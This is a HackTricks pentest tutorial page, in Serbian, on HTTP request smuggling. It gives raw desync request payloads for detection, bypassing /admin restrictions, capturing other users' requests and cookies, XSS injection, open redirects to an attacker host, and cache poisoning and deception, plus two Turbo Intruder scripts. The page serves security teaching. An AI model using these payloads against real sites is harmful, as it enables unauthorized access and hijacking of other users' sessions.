.. | ||
browser-http-request-smuggling.md | ||
README.md | ||
request-smuggling-in-http-2-downgrades.md |
HTTP Request Smuggling / HTTP Desync Attack
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu Proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je
Ova ranjivost se javlja kada desinhronizacija između front-end proxy-ja i back-end servera omogućava napadaču da pošalje HTTP zahtev koji će biti interpretiran kao jedan zahtev od strane front-end proxy-ja (balansiranje opterećenja/reverse-proxy) i kao 2 zahteva od strane back-end servera.
Ovo omogućava korisniku da modifikuje sledeći zahtev koji stiže do back-end servera nakon njega.
Teorija
Ako se poruka primi sa i Transfer-Encoding zaglavljem i Content-Length zaglavljem, ovaj poslednji MORA biti ignorisan.
Content-Length
Content-Length entitet zaglavlje pokazuje veličinu entitet-tela, u bajtovima, poslato primaocu.
Transfer-Encoding: chunked
Transfer-Encoding zaglavlje specificira oblik enkodiranja koji se koristi za bezbedan prenos tela payload-a korisniku.
Chunked znači da se veliki podaci šalju u seriji delova.
Stvarnost
Front-End (balansiranje opterećenja / Reverse Proxy) obrađuje content-length ili transfer-encoding zaglavlje, a Back-end server obrađuje drugo što izaziva desinhronizaciju između ova 2 sistema.
Ovo može biti veoma kritično jer napadač može poslati jedan zahtev reverse proxy-ju koji će biti interpretiran od strane back-end servera kao 2 različita zahteva. Opasnost ove tehnike leži u tome što će back-end server interpretirati ubrizgani drugi zahtev kao da je došao od sledećeg klijenta i pravi zahtev tog klijenta će biti deo ubrizganog zahteva.
Posebnosti
Zapamtite da u HTTP novi red karaktera čine 2 bajta:
- Content-Length: Ovo zaglavlje koristi decimalni broj da pokaže broj bajtova tela zahteva. Telo se očekuje da se završi poslednjim karakterom, novi red nije potreban na kraju zahteva.
- Transfer-Encoding: Ovo zaglavlje koristi u telu heksadecimalni broj da pokaže broj bajtova sledećeg chunk-a. Chunk mora završiti sa novim redom ali ovaj novi red nije uračunat u indikator dužine. Ovaj metod prenosa mora završiti sa chunk-om veličine 0 praćenim sa 2 nova reda:
0
- Connection: Na osnovu mog iskustva preporučuje se koristiti
Connection: keep-alive
na prvom zahtevu za Request Smuggling.
Osnovni Primeri
{% hint style="success" %}
Kada pokušavate da iskoristite ovo sa Burp Suite onemogućite Update Content-Length
i Normalize HTTP/1 line endings
u repeater-u jer neki gedžeti zloupotrebljavaju nove redove, povratne znakove i neispravne dužine sadržaja.
{% endhint %}
Napadi HTTP zahtevom za ubrizgavanje se kreiraju slanjem nejasnih zahteva koji iskorišćavaju neslaganja u tome kako front-end i back-end serveri tumače Content-Length
(CL) i Transfer-Encoding
(TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, pretežno kao CL.TE, TE.CL i TE.TE. Svaki tip predstavlja jedinstvenu kombinaciju prioriteta koje front-end i back-end serveri daju ovim zaglavljima. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, dovodeći do neočekivanih i potencijalno zlonamernih ishoda.
Osnovni Primeri Tipova Ranjivosti
CL.TE Ranjivost (Content-Length korišćen od strane Front-End, Transfer-Encoding korišćen od strane Back-End)
- Front-End (CL): Obradjuje zahtev na osnovu
Content-Length
zaglavlja. - Back-End (TE): Obradjuje zahtev na osnovu
Transfer-Encoding
zaglavlja. - Scenario Napada:
- Napadač šalje zahtev gde vrednost
Content-Length
zaglavlja ne odgovara stvarnoj dužini sadržaja. - Front-end server prosleđuje ceo zahtev back-end serveru, na osnovu vrednosti
Content-Length
. - Back-end server obrađuje zahtev kao chunked zbog
Transfer-Encoding: chunked
zaglavlja, tumačeći preostale podatke kao zaseban, naknadni zahtev. - Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Ranjivost (Transfer-Encoding korišćen od strane Front-End, Content-Length korišćen od strane Back-End)
- Front-End (TE): Obradjuje zahtev na osnovu
Transfer-Encoding
zaglavlja. - Back-End (CL): Obradjuje zahtev na osnovu
Content-Length
zaglavlja. - Scenario Napada:
- Napadač šalje chunked zahtev gde se veličina chunk-a (
7b
) i stvarna dužina sadržaja (Content-Length: 4
) ne poklapaju. - Front-end server, poštujući
Transfer-Encoding
, prosleđuje ceo zahtev back-end serveru. - Back-end server, poštujući
Content-Length
, obrađuje samo početni deo zahteva (7b
bajtova), ostavljajući ostatak kao deo nenamernog naknadnog zahteva. - Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerabilnost (Transfer-Encoding korišćen od strane oba, sa obfuscacijom)
- Serveri: Oba podržavaju
Transfer-Encoding
, ali jedan može biti prevaren da ga ignoriše putem obfuscacije. - Scenario napada:
- Napadač šalje zahtev sa obfuscated
Transfer-Encoding
zaglavljima. - Zavisno od toga koji server (prednji ili zadnji) ne uspe da prepozna obfuscaciju, može se iskoristiti CL.TE ili TE.CL vulnerabilnost.
- Neobrađeni deo zahteva, viđen od strane jednog od servera, postaje deo narednog zahteva, što dovodi do krijumčarenja.
- Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length korišćen od strane oba prednjeg i zadnjeg dela):
- Oba servera obrađuju zahtev isključivo na osnovu zaglavlja
Content-Length
. - Ovaj scenario obično ne dovodi do krijumčarenja, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
- Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normalan zahtev
CL != 0 Scenario:
- Odnosi se na scenarije gde je zaglavlje
Content-Length
prisutno i ima vrednost različitu od nule, što ukazuje da telo zahteva ima sadržaj. - Ključno je za razumevanje i kreiranje napada krijumčarenja, jer utiče na to kako serveri određuju kraj zahteva.
- Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Telo sa sadržajem
Forsiranje putem zaglavlja hop-by-hop
Zloupotrebom zaglavlja hop-by-hop možete ukazati proksi da obriše zaglavlje Content-Length ili Transfer-Encoding kako bi bilo moguće zloupotrebiti HTTP zahtevno krijumčarenje.
Connection: Content-Length
Za više informacija o zaglavlja korak-po-korak posetite:
{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}
Pronalaženje HTTP zahteva za krijumčarenje
Identifikacija ranjivosti na HTTP zahtev za krijumčarenje često se može postići korišćenjem tehnika vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulisane zahteve. Ove tehnike su posebno korisne za otkrivanje ranjivosti CL.TE i TE.CL. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
Pronalaženje ranjivosti CL.TE korišćenjem tehnika vremena
- Metod:
- Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati serversku stranu da čeka na dodatne podatke.
- Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
- Posmatranje:
- Prednja strana servera obrađuje zahtev na osnovu
Content-Length
i prekida poruku prerano. - Zadnji server, očekujući poruku u blokovima, čeka sledeći blok koji nikada ne stiže, uzrokujući kašnjenje.
- Indikatori:
- Istek vremena ili dugotrajna kašnjenja u odgovoru.
- Primanje greške 400 Bad Request od serverske strane, ponekad sa detaljnim informacijama o serveru.
Pronalaženje ranjivosti TE.CL korišćenjem tehnika vremena
- Metod:
- Pošaljite zahtev koji će, ako je aplikacija ranjiva, naterati serversku stranu da čeka na dodatne podatke.
- Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Posmatranje:
- Prednja strana servera obrađuje zahtev na osnovu
Transfer-Encoding
i prosleđuje celu poruku. - Zadnji server, očekujući poruku na osnovu
Content-Length
, čeka dodatne podatke koji nikada ne stižu, uzrokujući kašnjenje.
Druge metode za pronalaženje ranjivosti
- Analiza diferencijalnog odgovora:
- Pošaljite blago varijante zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na neslaganje u parsiranju.
- Korišćenje automatizovanih alata:
- Alati poput Burp Suite-ovog dodatka 'HTTP Request Smuggler' mogu automatski testirati ove ranjivosti slanjem različitih oblika nejasnih zahteva i analiziranjem odgovora.
- Testovi varijacije Content-Length:
- Pošaljite zahteve sa različitim vrednostima
Content-Length
koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server obrađuje takve neslaganja. - Testovi varijacije Transfer-Encoding:
- Pošaljite zahteve sa zamućenim ili neispravnim zaglavljima
Transfer-Encoding
i pratite kako prednja i zadnja strana servera reaguju na takve manipulacije.
Testiranje ranjivosti HTTP zahteva za krijumčarenje
Nakon potvrde efikasnosti tehnika vremena, ključno je proveriti da li se klijentski zahtevi mogu manipulisati. Jednostavan metod je pokušati otrovati vaše zahteve, na primer, tako što će zahtev za /
rezultirati odgovorom 404. Primeri CL.TE
i TE.CL
koji su prethodno razmatrani u Osnovni primeri pokazuju kako otrovati klijentski zahtev da izazove odgovor 404, iako klijent pokušava pristupiti drugom resursu.
Ključne razmatranja
Prilikom testiranja ranjivosti zahteva za krijumčarenje mešanjem sa drugim zahtevima, imajte na umu:
- Različite mrežne veze: "Napad" i "normalni" zahtevi treba da se šalju preko odvojenih mrežnih veza. Korišćenje iste veze za oba ne potvrđuje prisustvo ranjivosti.
- Konstantna URL adresa i parametri: Ciljajte da koristite identične URL adrese i imena parametara za oba zahteva. Moderne aplikacije često rutiraju zahteve ka određenim serverskim stranama na osnovu URL adrese i parametara. Podudaranje ovih povećava verovatnoću da će oba zahteva biti obrađena od strane istog servera, što je preduslov za uspešan napad.
- Vremenski uslovi i trke: "Normalni" zahtev, namenjen otkrivanju mešanja sa "napadnim" zahtevom, takmiči se sa drugim istovremenim zahtevima aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za potvrdu ranjivosti.
- Izazovi balansiranja opterećenja: Prednje servere koji deluju kao balanseri opterećenja mogu distribuirati zahteve ka različitim serverskim sistemima. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati više pokušaja za potvrdu ranjivosti.
- Neželjeni uticaj na korisnike: Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali radi otkrivanja), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može poremetiti druge korisnike, zahtevajući oprezan pristup.
Zloupotreba HTTP zahteva za krijumčarenje
Zaobilaženje sigurnosnih kontrola prednje strane
Zaobilaženje sigurnosnih mera prednje strane putem HTTP zahteva za krijumčarenje
Ponekad, prednji proksi sprovode sigurnosne mere, analizirajući dolazne zahteve. Međutim, ove mere mogu biti zaobiđene iskorišćavanjem HTTP zahteva za krijumčarenje, omogućavajući neovlašćen pristup ograničenim endpointima. Na primer, pristup /admin
može biti zabranjen spolja, pri čemu prednji proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti da ispita ugnežđene zahteve unutar krijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Razmotrite sledeće primere koji ilustruju kako se HTTP zahtevi za krijumčarenje mogu koristiti za zaobilaženje sigurnosnih mera prednje strane, posebno ciljajući putanju /admin
koja je obično čuvana od strane prednjeg proksija:
Primer CL.TE
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
U CL.TE napadu, zaglavlje Content-Length
se koristi za početni zahtev, dok ugneždeni zahtev koristi zaglavlje Transfer-Encoding: chunked
. Prednji proxy obrađuje početni POST
zahtev ali ne pregleda ugneždeni GET /admin
zahtev, omogućavajući neovlašćen pristup putanji /admin
.
TE.CL Primer
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Suprotno tome, u TE.CL napadu, početni POST
zahtev koristi Transfer-Encoding: chunked
, a naknadni ugnježdeni zahtev se obrađuje na osnovu zaglavlja Content-Length
. Slično kao kod CL.TE napada, prednji proxy propušta ugnježdeni GET /admin
zahtev, nenamerno omogućavajući pristup ograničenom /admin
putanji.
Otkrivanje prepravljanja zahteva na prednjoj strani
Aplikacije često koriste prednji server za modifikaciju dolaznih zahteva pre prosleđivanja na serversku stranu. Tipična modifikacija uključuje dodavanje zaglavlja, poput X-Forwarded-For: <IP klijenta>
, radi prosleđivanja IP adrese klijenta serverskoj strani. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za zaobilaženje zaštite ili otkrivanje skrivenih informacija ili krajnjih tačaka.
Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji serverska strana vraća u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar na kraju, slično kao u sledećem primeru:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
U ovoj strukturi, naknadni delovi zahteva se dodaju nakon search=
, koji je parametar prikazan u odgovoru. Ovaj odraz će otkriti zaglavlja naknadnog zahteva.
Važno je uskladiti Content-Length
zaglavlje ugnježdenog zahteva sa stvarnom dužinom sadržaja. Počevši od male vrednosti i postepeno je povećavajući je preporučljivo, jer preniska vrednost će skratiti odražene podatke, dok previsoka vrednost može uzrokovati grešku u zahtevu.
Ova tehnika je takođe primenjiva u kontekstu ranjivosti TE.CL, ali bi zahtev trebalo da se završi sa search=\r\n0
. Bez obzira na znakove nove linije, vrednosti će se dodati parametru pretrage.
Ovaj metod pretežno služi da se razumeju modifikacije zahteva koje je napravio prednji proxy, suštinski vršeći samostalnu istragu.
Snimanje zahteva drugih korisnika
Moguće je snimiti zahteve sledećeg korisnika dodavanjem određenog zahteva kao vrednosti parametra tokom POST operacije. Evo kako se to može postići:
Dodavanjem sledećeg zahteva kao vrednosti parametra, možete sačuvati zahtev sledećeg klijenta:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
U ovom scenariju, parametar komentara je namenjen za čuvanje sadržaja unutar sekcije komentara na javno dostupnoj stranici. Kao rezultat toga, sadržaj narednog zahteva će se pojaviti kao komentar.
Međutim, ova tehnika ima svoja ograničenja. Generalno, hvata podatke samo do granice parametra korišćene u prokrijumčarenom zahtevu. Za URL-kodirane podneske obrazaca, ova granica je znak &
. To znači da će uhvaćeni sadržaj iz zahteva žrtve prestati na prvom &
, što može biti čak deo upita.
Dodatno, vredi napomenuti da je ovaj pristup takođe izvodljiv sa ranjivošću TE.CL. U takvim slučajevima, zahtev bi trebalo da se završi sa search=\r\n0
. Bez obzira na znakove nove linije, vrednosti će biti dodate parametru pretrage.
Korišćenje prokrijumčarenja HTTP zahteva za iskorišćavanje reflektovanog XSS-a
Prokrijumčarenje HTTP zahteva može se iskoristiti za iskorišćavanje veb stranica koje su ranjive na Reflektovani XSS, nudeći značajne prednosti:
- Interakcija sa ciljnim korisnicima nije potrebna.
- Omogućava iskorišćavanje XSS-a u delovima zahteva koji su normalno nedostupni, poput zaglavlja HTTP zahteva.
U scenarijima gde je veb sajt podložan Reflektovanom XSS-u putem zaglavlja User-Agent, sledeći payload demonstrira kako iskoristiti ovu ranjivost:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Ovaj payload je struktuiran da iskoristi ranjivost na sledeći način:
- Pokretanje
POST
zahteva, naizgled tipično, sa zaglavljemTransfer-Encoding: chunked
kako bi označili početak smugglinga. - Nastavak sa
0
, označavajući kraj chunked tela poruke. - Zatim se uvodi smuggled
GET
zahtev, gde se u zaglavljeUser-Agent
ubacuje skripta,<script>alert(1)</script>
, pokrećući XSS kada server obradi ovaj naknadni zahtev.
Manipulacijom User-Agent
-a putem smugglinga, payload zaobilazi normalna ograničenja zahteva, iskorišćavajući tako ranjivost Reflected XSS na nekonvencionalan, ali efikasan način.
Korišćenje HTTP request smugglinga za pretvaranje on-site preusmeravanja u otvoreno preusmeravanje
Iskorišćavanje On-site preusmeravanja pomoću HTTP Request Smugglinga
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz zaglavlja Host
u URL-u preusmeravanja. Ovo je često kod veb servera poput Apache i IIS. Na primer, zahtevanje fascikle bez kosa crta na kraju rezultuje preusmeravanjem da uključi kosu crtu:
GET /home HTTP/1.1
Host: normal-website.com
Rezultati su:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Iako na prvi pogled bezopasno, ovaj postupak može biti manipulisan korišćenjem HTTP zahteva za krijumčarenje kako bi se korisnici preusmerili na spoljni sajt. Na primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb lokaciju kojom upravlja napadač:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Rezultati su:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Korišćenje HTTP zahteva za krijumčarenje kako bi se izvršilo trovanje keša veb stranica
Iskorišćavanje Trovanja Keša Veb Stranica putem HTTP zahteva za krijumčarenje
Trovanje keša veb stranica može biti izvršeno ako bilo koji deo infrastrukture front-enda kešira sadržaj, obično radi poboljšanja performansi. Manipulacijom odgovora servera, moguće je otrpati keš.
Ranije smo primetili kako se odgovori servera mogu promeniti kako bi vratili grešku 404 (pogledajte Osnovne Primere). Slično tome, moguće je prevariti server da isporuči sadržaj /index.html
kao odgovor na zahtev za /static/include.js
. Kao rezultat, sadržaj /static/include.js
se zamenjuje u kešu sa sadržajem /index.html
, čineći /static/include.js
nedostupnim korisnicima, što potencijalno može dovesti do DoS (Denial of Service) napada.
Ova tehnika postaje posebno moćna ako se otkrije Ranjivost otvorenog preusmeravanja ili ako postoji preusmeravanje na otvoreno preusmeravanje na sajtu. Takve ranjivosti mogu biti iskorišćene kako bi se zamenio keš sadržaj /static/include.js
skriptom pod kontrolom napadača, omogućavajući suštinski širok napad Cross-Site Scripting (XSS) protiv svih klijenata koji zahtevaju ažurirani /static/include.js
.
U nastavku je prikaz iskorišćavanja trovanja keša u kombinaciji sa preusmeravanjem na otvoreno preusmeravanje na sajtu. Cilj je izmeniti keš sadržaj /static/include.js
kako bi se isporučio JavaScript kod pod kontrolom napadača:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Zabeležite ugnježđeni zahtev usmeren ka /post/next?postId=3
. Ovaj zahtev će biti preusmeren na /post?postId=4
, koristeći vrednost Host zaglavlja da odredi domen. Menjanjem Host zaglavlja, napadač može preusmeriti zahtev na svoj domen (unutrašnje preusmeravanje na otvoreno preusmeravanje).
Nakon uspešnog trovanja soketa, treba pokrenuti GET zahtev za /static/include.js
. Ovaj zahtev će biti kontaminiran prethodnim zahtevom unutrašnje preusmeravanje na otvoreno preusmeravanje i dohvatiti sadržaj skripte kojom upravlja napadač.
Nakon toga, svaki zahtev za /static/include.js
će poslužiti keširani sadržaj napadačeve skripte, efikasno pokrećući širok XSS napad.
Korišćenje HTTP zahteva za ugnjetavanje radi izvođenja obmane veb keša
Koja je razlika između trovanja veb keša i obmane veb keša?
- U trovanju veb keša, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
- U obmani veb keša, napadač uzrokuje da aplikacija sačuva neki osetljivi sadržaj koji pripada drugom korisniku u kešu, a zatim napadač povlači ovaj sadržaj iz keša.
Napadač oblikuje ugnježđeni zahtev koji dohvata osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Ako ovaj krijumčareni zahtev otrovi keš zapis namenjen statičkom sadržaju (npr. /someimage.png
), osetljivi podaci žrtve iz /private/messages
mogu biti keširani pod keš zapisom statičkog sadržaja. Kao rezultat, napadač bi potencijalno mogao povratiti ove keširane osetljive podatke.
Oružjeziranje HTTP zahteva krijumčarenjem sa dezinkronizacijom HTTP odgovora
Da li ste pronašli neku ranjivost u HTTP zahtevu krijumčarenjem i ne znate kako da je iskoristite? Pokušajte ovu drugu metodu iskorišćavanja:
{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}
Turbo intruder skripte
CL.TE
Sa https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Sa: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Alati
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Ovaj alat je fuzzer za HTTP zasnovan na gramatici koristan za pronalaženje čudnih razlika u zahtevima za švercovanje.
Reference
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.